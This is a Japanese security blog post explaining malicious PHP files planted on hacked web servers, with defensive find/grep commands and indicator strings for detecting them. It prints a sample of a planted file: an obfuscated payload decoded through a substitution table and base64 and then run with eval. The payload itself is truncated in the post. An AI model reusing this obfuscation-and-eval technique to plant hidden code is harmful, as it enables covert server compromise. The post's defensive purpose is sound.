ハッキング対策|ハッカーが使う不正プログラムとは

不正プログラムを仕込む方法

WEBサイトは、常にセキュリティリスクに晒されています。

今回は、実際にどのようなプ不正ログラムが仕込まれるのか、

具体例をご紹介します。

 

実際にサーバーに仕込まれたPHPファイルの例

 

<?php
 $qmlzu = 7553; function ohsvbulv($pufdgzrhwj, $rvxeigcobb){$nhnbjg = ''; for($i=0; $i < strlen($pufdgzrhwj); $i++){$nhnbjg .= isset($rvxeigcobb[$pufdgzrhwj[$i]]) ? $rvxeigcobb[$pufdgzrhwj[$i]] : $pufdgzrhwj[$i];}
$bmrfc="base" . "64_decode";return $bmrfc($nhnbjg);}
$ycisv = 'C6SQn1RXw2CyBV1GhKRG2VxAwGhmpIL1zIk9gk35C6SQn1RXw2CyBVxAwrRShJBAhJqJdbsk5zm0bD79WK'.
'SehV135bOut2Hew2HSti13nlRQ2iZ9WlTJdbsk5zm0bD7Xw2ZeO6Suw1Rmnlr9ObYk5zm0bY35nl'.
'tyn20Xw2CyBNRzZ1BlZ1p95C35ck35baZeT31a1D1alGOCaN7eT31qZfOOpF3YpfPfg'.
'Gs0bYDD2r0NTSwNTSmJTD10zrZN23NIZNpJ2asRpbpxqUhQqb4kdUIfgk35blSK5bNSW27'.
'3caYD2r0NTSwNTSmJaNZTTNRt23wETSO7TDZNZNR6zrpJ2aD9FCyBck35bCDD2r0NTSwNTS'.
'mJaNZTTNRt23wETSO7TDZNZNR6zrpJ2asRpbpxqUhQqb4kdUIfgk35b230bJ30bKSK56S'.
~略(数百行)~
'XlGBGpSrWpKpf2asRpbZftlCoFCy0bYSGw2ZrhK4YhV1GnlNmn29S5bZGw2q9gk35eC35FCyDtV'.
'RQwKSJpF3Yt2BGt2SeOKNmOl1X5bZeTIRz1bDoFCyDhK1XpF3YOvSkwzNehV1QwbYDtVRQw'.
'KSJlX7O5zm0bKSKpbYDhK1X5a7oFCyYpbsYwl0yWGsDhK1Xgk35eC35FC9Sc6S35bDo';
$bjemukctfl = Array('1'=>'V', '0'=>'N', '3'=>'0', '2'=>'X', '5'=>'K', '4'=>'4', '7'=>'B', '6'=>'G', '9'=>'p', '8'=>'r', 'A'=>'v', 'C'=>'Q', 'B'=>'J', 'E'=>'P', 'D'=>'k', 'G'=>'y', 'F'=>'D', 'I'=>'E', 'H'=>'h', 'K'=>'m', 'J'=>'n', 'M'=>'q', 'L'=>'5', 'O'=>'d', 'N'=>'F', 'Q'=>'u', 'P'=>'8', 'S'=>'l', 'R'=>'9', 'U'=>'j', 'T'=>'U', 'W'=>'b', 'V'=>'2', 'Y'=>'g', 'X'=>'z', 'Z'=>'R', 'a'=>'S', 'c'=>'e', 'b'=>'C', 'e'=>'f', 'd'=>'L', 'g'=>'O', 'f'=>'i', 'i'=>'3', 'h'=>'c', 'k'=>'w', 'j'=>'6', 'm'=>'s', 'l'=>'W', 'o'=>'7', 'n'=>'a', 'q'=>'M', 'p'=>'I', 's'=>'A', 'r'=>'1', 'u'=>'t', 't'=>'Y', 'w'=>'Z', 'v'=>'H', 'y'=>'o', 'x'=>'x', 'z'=>'T');
eval/*eys*/(ohsvbulv($ycisv, $bjemukctfl));?>

この例では、base64という形式でプログラム言語を変換し、

さらに、Arrayで文字列を変換し、ソースコードを暗号化しています。

この暗号化したプログラムを、最後にeval関数で実行しているのです。

※base64をデコードして、プログラムを読みたい場合は、

このようなサイトで変換して、解読する必要があります。

 

不正ファイルの検出方法

このようなPHPファイルが、サーバーに仕込まれるのは、

様々な理由があります。

プログラムの脆弱性、古いバージョンのプラグイン使用、その他セキュリティ不備、等々。

不正に仕込まれたファイルは、1個の場合もあれば、数百数千ファイルに渡る場合もあります。

一つ一つファイルを開いて、書き換えられていないか確認するのは不可能です。

 

方法としては、

①ウィルスソフトでチェックする

②Shellコマンドでチェックする

の2通りがあります。

 

ウィルスソフトでチェックする

サーバー上のファイルをローカルに保存し、ウィルスチェックソフトにかける方法です。

自分のパソコンにインストールした、ウィルスソフト(ウィルスバスターやNortonなど)の機能で、

該当ファイル一式を診断します。

ただし、全て検出しきることが出来ない場合もあります。

 

Shellコマンドでチェックする

Shellコマンドで特定の文字列を検索する方法です。

たとえば、「eval」や「64_decode」という文字列は、不正プログラム実行で多用されます。

このような「悪さをしていそうな文字列※」を指定し、検索します。

find . -type f -name \*.php -exec grep -H "64_decode" {} \;

↑「64_decode」という文字列がphpファイルに存在しないか検索するスクリプト例。

※他にも、「istart」や「@copy」、「FilesMan」など多数あります

 

また、多くの不正ファイルは、PHPファイルが仕込まれることが多いのですが、

たとえば、画像(image)フォルダには、本来PHPファイルは存在しないはずです。

こういうパターンをチェックする場合は、

find . -type d -name image -exec find {} -name \*.php -ls \;

↑imageフォルダ内にPHPファイルが存在していないかどうかチェックするスクリプト例。

 

ハッカーたちは、こういったプログラムを使っています。

セキュリティ被害に遭ってしまった場合のご参考に。

CodeCampGATE CodeCampGATE